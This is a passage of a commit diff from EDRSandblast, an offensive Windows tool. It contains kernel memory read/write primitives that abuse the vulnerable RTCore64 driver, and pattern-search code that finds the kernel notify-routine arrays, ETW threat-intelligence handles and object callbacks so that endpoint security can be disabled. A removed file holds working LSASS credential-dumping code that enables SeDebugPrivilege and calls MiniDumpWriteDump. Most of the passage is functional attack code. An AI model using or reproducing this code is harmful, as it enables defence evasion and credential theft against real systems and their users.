TYPE res;\
ReadMemoryPrimitive(sizeof(TYPE), Address, &res);\
return res;\
}
ReadMemoryType(BYTE);
ReadMemoryType(WORD);
ReadMemoryType(DWORD);
ReadMemoryType(DWORD64);
#define ReadKernelMemoryType(TYPE) \
TYPE ReadKernelMemory ## TYPE ## (DWORD64 Offset) {\
TYPE res;\
DWORD64 Address = FindNtoskrnlBaseAddress() + Offset;\
ReadMemoryPrimitive(sizeof(TYPE), Address, &res);\
return res;\
}
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
ReadKernelMemoryType(BYTE);
ReadKernelMemoryType(WORD);
ReadKernelMemoryType(DWORD);
ReadKernelMemoryType(DWORD64);
#define WriteMemoryType(TYPE) \
VOID WriteMemory ## TYPE ## (DWORD64 Address, TYPE Value) {\
WriteMemoryPrimitive(sizeof(TYPE), Address, &Value);\
}
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 4, Address) & 0xffffffff;
WriteMemoryType(BYTE);
WriteMemoryType(WORD);
WriteMemoryType(DWORD);
WriteMemoryType(DWORD64);
#define WriteKernelMemoryType(TYPE) \
VOID WriteKernelMemory ## TYPE ## (DWORD64 Offset, TYPE Value) {\
DWORD64 Address = FindNtoskrnlBaseAddress() + Offset;\
WriteMemoryPrimitive(sizeof(TYPE), Address, &Value);\
}
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
return ((DWORD64)(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
WriteKernelMemoryType(BYTE);
WriteKernelMemoryType(WORD);
WriteKernelMemoryType(DWORD);
WriteKernelMemoryType(DWORD64);
BOOL TestReadPrimitive() {
return ReadKernelMemoryWORD(0) == *(WORD*)"MZ";
}
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value) {
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
Value = (currentValue & 0xFFFFFFFFFFFFFFF0) | (Value);
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value) {
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
Value = (currentValue & 0xFFFFFFFFFFFFFF00) | (Value);
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
/*
--- Kernel exploitation helpers.
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
*/
DWORD64 FindNtoskrnlBaseAddress(void) {
DWORD cbNeeded = 0;
LPVOID drivers[1024];
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
return (DWORD64)drivers[0];
}
return 0;
}
TCHAR* FindDriver(DWORD64 address, BOOL verbose) {
LPVOID drivers[1024];
DWORD cbNeeded;
int cDrivers = 0;
int i = 0;
TCHAR szDriver[1024] = { 0 };
DWORD64 minDiff = MAXDWORD64;
DWORD64 diff;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
cDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < cDrivers; i++) {
if ((DWORD64)drivers[i] <= address) {
diff = address - (DWORD64)drivers[i];
if (diff < minDiff) {
minDiff = diff;
}
}
}
}
else {
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
if (verbose) {
_tprintf(TEXT("[+] %016llx [%s + 0x%llx]\n"), address, szDriver, minDiff);
}
TCHAR* const ptrDrvier = (LPTSTR)calloc(1024, sizeof(TCHAR));
if (!ptrDrvier) {
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve the driver pointer\n"));
return NULL;
}
_tcscpy_s(ptrDrvier, 1024, szDriver);
return ptrDrvier;
}
else {
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
}
HANDLE GetDriverHandle() {
TCHAR service[] = TEXT("\\\\.\\RTCore64");
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (Device == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
exit(EXIT_FAILURE);
}
return Device;
}
DWORD64 GetFunctionAddress(LPCSTR function) {
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
DWORD64 address = 0;
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
if (ntoskrnl) {
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
address = ntoskrnlBaseAddress + offset;
FreeLibrary(ntoskrnl);
}
// _tprintf(TEXT("[+] %s address: 0x%I64x\n"), function, address);
return address;
}
+27 -34
View File
@@ -7,76 +7,69 @@
#include <Windows.h>
#include <Tchar.h>
#include "KernelMemoryPrimitives.h"
#include "KernelUtils.h"
#include "../EDRSandblast.h"
DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) {
DWORD64 PatternSearchStartingFromAddress(DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) {
for (DWORD i = 0; i < bytesToScan; i++) {
DWORD64 instructionAddress = startAddress + i;
DWORD64 dword64Instruction = ReadMemoryDWORD64(Device, instructionAddress);
DWORD64 dword64Instruction = ReadMemoryDWORD64(instructionAddress);
DWORD64 dword64InstructionFixed = dword64Instruction & mask;
// _tprintf(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed);
// _tprintf_or_not(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed);
if (dword64InstructionFixed == pattern) {
_tprintf(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed);
_tprintf_or_not(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed);
return instructionAddress;
}
}
return 0x0;
}
DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) {
DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(Device, instructionStartAddress + instructionRelativeAddressOffset);
DWORD64 ExtractRelativeAddress(DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) {
DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(instructionStartAddress + instructionRelativeAddressOffset);
DWORD64 nextInstructionAddress = instructionStartAddress + nextInstructionOffset;
return nextInstructionAddress + procedureRelativeAddress;
}
DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void) {
_tprintf(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern\n"));
HANDLE Device = GetDriverHandle();
_putts_or_not(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern"));
// Extracting PspSetCreateProcessNotifyRoutine address in PsSetCreateProcessNotifyRoutine using the pattern "E8" (CALL) to match "[e80e010000] call nt!PspSetCreateProcessNotifyRoutine".
DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine");
DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateProcessNotifyRoutineAddress, 1, 5);
DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetKernelFunctionAddress("PsSetCreateProcessNotifyRoutine");
DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(CallPspSetCreateProcessNotifyRoutineAddress, 1, 5);
// Extracting PspCreateProcessNotifyRoutine address in PspSetCreateProcessNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[4c8d2d371ddaff] lea r13,[nt!PspCreateProcessNotifyRoutine".
DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateProcessNotifyRoutineAddress, 3, 7);
_tprintf(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress);
DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(LeaPspCreateProcessNotifyRoutineAddress, 3, 7);
_tprintf_or_not(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress);
CloseHandle(Device);
return PspCreateProcessNotifyRoutineAddress;
}
DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void) {
_tprintf(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern\n"));
HANDLE Device = GetDriverHandle();
_putts_or_not(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern"));
// Extracting nt!PspSetCreateThreadNotifyRoutine address in nt!PsSetCreateThreadNotifyRoutine using the pattern "E8" (CALL) to match "[e865000000] call nt!PspSetCreateThreadNotifyRoutine".
DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetFunctionAddress("PsSetCreateThreadNotifyRoutine");
DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateThreadNotifyRoutineAddress, 1, 5);
DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetKernelFunctionAddress("PsSetCreateThreadNotifyRoutine");
DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(CallPspSetCreateThreadNotifyRoutineAddress, 1, 5);
// Extracting nt!PspCreateThreadNotifyRoutine address in nt!PspSetCreateThreadNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[488d0d431cdaff] lea rcx,[nt!PspCreateThreadNotifyRoutine]".
DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateThreadNotifyRoutineAddress, 3, 7);
_tprintf(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress);
DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(LeaPspCreateThreadNotifyRoutineAddress, 3, 7);
_tprintf_or_not(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress);
CloseHandle(Device);
return PspCreateThreadNotifyRoutineAddress;
}
DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void) {
_tprintf(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern\n"));
HANDLE Device = GetDriverHandle();
_putts_or_not(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern"));
// Extracting nt!PspLoadImageNotifyRoutine address directly from nt!PsSetLoadImageNotifyRoutineEx using the pattern "4C 8D" (LEA 4C) to match "[488d0d981ddaff] lea rcx,[nt!PspLoadImageNotifyRoutine]".
DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetFunctionAddress("PsSetLoadImageNotifyRoutineEx");
DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspLoadImageNotifyRoutineAddress, 3, 7);;
_tprintf(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress);
DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetKernelFunctionAddress("PsSetLoadImageNotifyRoutineEx");
DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(LeaPspLoadImageNotifyRoutineAddress, 3, 7);;
_tprintf_or_not(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress);
CloseHandle(Device);
return PspLoadImageNotifyRoutineAddress;
}
-95
View File
@@ -1,95 +0,0 @@
/*
--- LSASS dump functions.
*/
#include <Windows.h>
#include <TlHelp32.h>
#include <minidumpapiset.h>
#include <tchar.h>
#include "LSASSDump.h"
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
LUID luid;
BOOL bRet = FALSE;
if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;
if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
{
bRet = (GetLastError() == ERROR_SUCCESS);
}
}
return bRet;
}
DWORD WINAPI dumpLSASSProcess(void* data) {
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
TCHAR* outputDump = (TCHAR*)data;
//Enable the SeDebugPrivilege
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);
CloseHandle(hToken);
}
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] LSASS dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
return 1;
}
// Set the size of the structure before using it.
pe32.dwSize = sizeof(PROCESSENTRY32);
// Retrieve information about the first process,
// and exit if unsuccessful
if (!Process32First(hProcessSnap, &pe32)) {
_tprintf(TEXT("[!] LSASS dump failed: obtained invalid process handle\n")); // show cause of failure
CloseHandle(hProcessSnap); // clean the snapshot object
return 1;
}
// Now walk the snapshot of processes, and look for lsass.
do {
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe"))) {
continue;
}
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] LSASS dump failed: couldn't open lsass memory (OpenProcesswith error 0x%x)\n"), GetLastError());
return 1;
}
HANDLE hDumpFile = CreateFile(outputDump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDumpFile == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] LSASS dump failed: couldn't create dump file (CreateFileA)\n"));
return 1;
}
BOOL dumped = MiniDumpWriteDump(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (!dumped) {
_tprintf(TEXT("[!] LSASS dump failed: couldn't dump LSASS process (MiniDumpWriteDump with error 0x%x)\n"), GetLastError());
return 1;
}
_tprintf(TEXT("[+] LSASS sucessfully dump to: %s\n"), outputDump);
CloseHandle(hProcess);
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return 0;
}
+15
View File
@@ -0,0 +1,15 @@
#include "ListUtils.h"
VOID freeLinkedList(PVOID head) {
PLINKED_LIST previousNode = NULL;
PLINKED_LIST currentNode = (PLINKED_LIST)head;
while (currentNode) {
previousNode = currentNode;
currentNode = currentNode->next;
free(previousNode);
previousNode = NULL;
}
return;
}
+109 -12
View File
@@ -7,24 +7,25 @@
#include <tchar.h>
#include <stdio.h>
#include "NtoskrnlOffsets.h"
#include "FileVersion.h"
#include "PdbSymbols.h"
#include "../EDRSandblast.h"
union NtoskrnlOffsets ntoskrnlOffsets = { 0 };
#include "NtoskrnlOffsets.h"
union NtoskrnlOffsets g_ntoskrnlOffsets = { 0 };
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) {
TCHAR ntoskrnlVersion[256] = { 0 };
GetNtoskrnlVersion(ntoskrnlVersion);
_tprintf(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion);
void LoadNtoskrnlOffsetsFromFile(TCHAR* ntoskrnlOffsetFilename) {
LPTSTR ntoskrnlVersion = GetNtoskrnlVersion();
_tprintf_or_not(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion);
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("r"));
union NtoskrnlOffsets offset_results = { 0 };
if (offsetFileStream == NULL) {
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
return offset_results;
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
return;
}
TCHAR lineNtoskrnlVersion[256];
@@ -35,13 +36,109 @@ union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) {
_tcscpy_s(lineNtoskrnlVersion, _countof(lineNtoskrnlVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
if (_tcscmp(ntoskrnlVersion, lineNtoskrnlVersion) == 0) {
TCHAR* endptr;
_tprintf(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion);
_tprintf_or_not(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion);
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) {
offset_results.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
g_ntoskrnlOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
}
break;
}
}
fclose(offsetFileStream);
return offset_results;
}
void SaveNtoskrnlOffsetsToFile(TCHAR* ntoskrnlOffsetFilename) {
LPTSTR ntoskrnlVersion = GetNtoskrnlVersion();
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("a"));
if (offsetFileStream == NULL) {
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
return;
}
_ftprintf(offsetFileStream, TEXT("%s"), ntoskrnlVersion);
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) {
_ftprintf(offsetFileStream, TEXT(",%llx"), g_ntoskrnlOffsets.ar[i]);
}
_fputts(TEXT(""), offsetFileStream);
fclose(offsetFileStream);
}
void PrintNtoskrnlOffsets() {
_tprintf_or_not(TEXT("[+] Ntoskrnl offsets: "));
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END - 1; i++) {
_tprintf_or_not(TEXT(" %llx |"), g_ntoskrnlOffsets.ar[i]);
}
_tprintf_or_not(TEXT("%llx\n"), g_ntoskrnlOffsets.ar[_SUPPORTED_NTOSKRNL_OFFSETS_END - 1]);
}
void LoadNtoskrnlOffsetsFromInternet(BOOL delete_pdb) {
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(GetNtoskrnlPath());
if (sym_ctx == NULL) {
return;
}
g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine = GetSymbolAddress(sym_ctx, "PspCreateProcessNotifyRoutine");
g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine = GetSymbolAddress(sym_ctx, "PspCreateThreadNotifyRoutine");
g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine = GetSymbolAddress(sym_ctx, "PspLoadImageNotifyRoutine");
g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle = GetSymbolAddress(sym_ctx, "EtwThreatIntProvRegHandle");
g_ntoskrnlOffsets.st.eprocess_protection= GetFieldOffset(sym_ctx, "_EPROCESS", L"Protection");
g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry= GetFieldOffset(sym_ctx, "_ETW_REG_ENTRY", L"GuidEntry");
g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo = GetFieldOffset(sym_ctx, "_ETW_GUID_ENTRY", L"ProviderEnableInfo");
g_ntoskrnlOffsets.st.psProcessType = GetSymbolAddress(sym_ctx, "PsProcessType");
g_ntoskrnlOffsets.st.psThreadType = GetSymbolAddress(sym_ctx, "PsThreadType");
g_ntoskrnlOffsets.st.object_type_callbacklist = GetFieldOffset(sym_ctx, "_OBJECT_TYPE", L"CallbackList");
UnloadSymbols(sym_ctx, delete_pdb);
}
BOOL NtoskrnlOffsetsAreAllPresent() {
return NtoskrnlNotifyRoutinesOffsetsArePresent() && NtoskrnlEtwtiOffsetsArePresent() && g_ntoskrnlOffsets.st.eprocess_protection != 0 && NtoskrnlObjectCallbackOffsetsArePresent();
}
BOOL NtoskrnlAllKernelCallbacksOffsetsArePresent() {
return NtoskrnlNotifyRoutinesOffsetsArePresent() && NtoskrnlObjectCallbackOffsetsArePresent();
}
BOOL NtoskrnlNotifyRoutinesOffsetsArePresent() {
return g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine != 0 &&
g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine != 0 &&
g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine != 0;
}
BOOL NtoskrnlEtwtiOffsetsArePresent() {
return g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo != 0 &&
g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry != 0 &&
g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle != 0;
}
BOOL NtoskrnlObjectCallbackOffsetsArePresent() {
return g_ntoskrnlOffsets.st.psProcessType != 0 &&
g_ntoskrnlOffsets.st.psThreadType != 0 &&
g_ntoskrnlOffsets.st.object_type_callbacklist != 0;
}
TCHAR g_ntoskrnlPath[MAX_PATH] = { 0 };
LPTSTR GetNtoskrnlPath() {
if (_tcslen(g_ntoskrnlPath) == 0) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute ntoskrnl.exe path.
_tcscat_s(g_ntoskrnlPath, _countof(g_ntoskrnlPath), systemDirectory);
_tcscat_s(g_ntoskrnlPath, _countof(g_ntoskrnlPath), TEXT("\\ntoskrnl.exe"));
}
return g_ntoskrnlPath;
}
TCHAR g_ntoskrnlVersion[256] = { 0 };
LPTSTR GetNtoskrnlVersion() {
if (_tcslen(g_ntoskrnlVersion) == 0) {
LPTSTR ntoskrnlPath = GetNtoskrnlPath();
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath);
_stprintf_s(g_ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer);
}
return g_ntoskrnlVersion;
}
+85
View File
@@ -0,0 +1,85 @@
/*
* Functions that browse the PEB structure instead of relying on GetModuleHandle
*/
#include "../EDRSandblast.h"
#include "Undoc.h"
#include "PEBBrowse.h"
#include <stdio.h>
/*
Get the module entry in the InLoadOrderModuleList given the module name
*/
LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name) {
size_t nameSize = wcslen(name);
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
if (!_memicmp(currentModuleEntry->BaseDllName.Buffer, name, sizeof(WCHAR) * nameSize)) {
return currentModuleEntry;
}
}
#ifdef _DEBUG
printf_or_not("getModuleEntryFromNameW failed to find module\n");
#endif // _DEBUG
return NULL;
}
/*
Get the module entry in the InLoadOrderModuleList given an address inside it
Assumes : the address belong to a module
Returns : the module it should belong to
*/
LDR_DATA_TABLE_ENTRY* getModuleEntryFromAbsoluteAddr(PVOID addr) {
LDR_DATA_TABLE_ENTRY* closest = NULL;
uintptr_t distance = (uintptr_t)-1;
for (LDR_DATA_TABLE_ENTRY* ptr = getNextModuleEntryInLoadOrder(NULL); ptr != NULL; ptr = getNextModuleEntryInLoadOrder(ptr)) {
if (ptr->DllBase <= addr && ((uintptr_t)addr - (uintptr_t)ptr->DllBase) < distance) {
distance = ((uintptr_t)addr - (uintptr_t)ptr->DllBase);
closest = ptr;
}
}
return closest;
}
/*
Returns the next module entry in the InLoadOrderModuleList
Assumes : curr is a ptr to a module entry in the list or NULL
Returns :
* if curr is non-NULL:
* A pointer to the next entry in the list, or
* A NULL pointer, if end of the list is reached
* if curr is NULL
* A pointer to the first element of the list
*/
LDR_DATA_TABLE_ENTRY* getNextModuleEntryInLoadOrder(LDR_DATA_TABLE_ENTRY* curr) {
LDR_DATA_TABLE_ENTRY* start = (LDR_DATA_TABLE_ENTRY*)getPEB()->Ldr->InLoadOrderModuleList.Flink;
if (curr == NULL) {
return start;
}
LDR_DATA_TABLE_ENTRY* next = (LDR_DATA_TABLE_ENTRY*)curr->InLoadOrderLinks.Flink;
if (next == start) {
return NULL;
}
return next;
}
#if _WIN64
PEB64* getPEB() {
return (PEB64*)__readgsqword(0x60);
}
TEB64* getTEB() {
return (TEB64*)__readgsqword(0x30);
}
#else
PEB* getPEB() {
return (PEB*)__readfsdword(0x30);
}
TEB* getTEB() {
return (TEB*)__readfsdword(0x18);
}
#endif
+420
View File
@@ -0,0 +1,420 @@
/*
* Full library whose job is to parse PE structures, on disk, on memory and even in another process memory
* Among other things, reimplements GetProcAddress and the PE relocation process
*/
#include "../EDRSandblast.h"
#include "PEParser.h"
#include <stdio.h>
#include <assert.h>
IMAGE_SECTION_HEADER* PE_sectionHeader_fromRVA(PE* pe, DWORD rva) {
IMAGE_SECTION_HEADER* sectionHeaders = pe->sectionHeaders;
for (DWORD sectionIndex = 0; sectionIndex < pe->ntHeader->FileHeader.NumberOfSections; sectionIndex++) {
DWORD currSectionVA = sectionHeaders[sectionIndex].VirtualAddress;
DWORD currSectionVSize = sectionHeaders[sectionIndex].Misc.VirtualSize;
if (currSectionVA <= rva && rva < currSectionVA + currSectionVSize) {
return &sectionHeaders[sectionIndex];
}
}
return NULL;
}
/*
Get the next section header having the given memory access permissions, after the provided section headers "prev".
Exemple : PE_nextSectionHeader_fromPermissions(pe, textSection, 1, -1, 0) returns the first section header in the list after "textSection" that is readable and not writable.
Returns NULL if no section header is found.
*/
IMAGE_SECTION_HEADER* PE_nextSectionHeader_fromPermissions(PE* pe, IMAGE_SECTION_HEADER* prev, INT8 readable, INT8 writable, INT8 executable) {
IMAGE_SECTION_HEADER* sectionHeaders = pe->sectionHeaders;
DWORD firstSectionIndex = prev == NULL ? 0 : (DWORD)((prev + 1) - sectionHeaders);
for (DWORD sectionIndex = firstSectionIndex; sectionIndex < pe->ntHeader->FileHeader.NumberOfSections; sectionIndex++) {
DWORD sectionCharacteristics = sectionHeaders[sectionIndex].Characteristics;
if (readable != 0) {
if (sectionCharacteristics & IMAGE_SCN_MEM_READ) {
if (readable == -1) {
continue;
}
}
else {
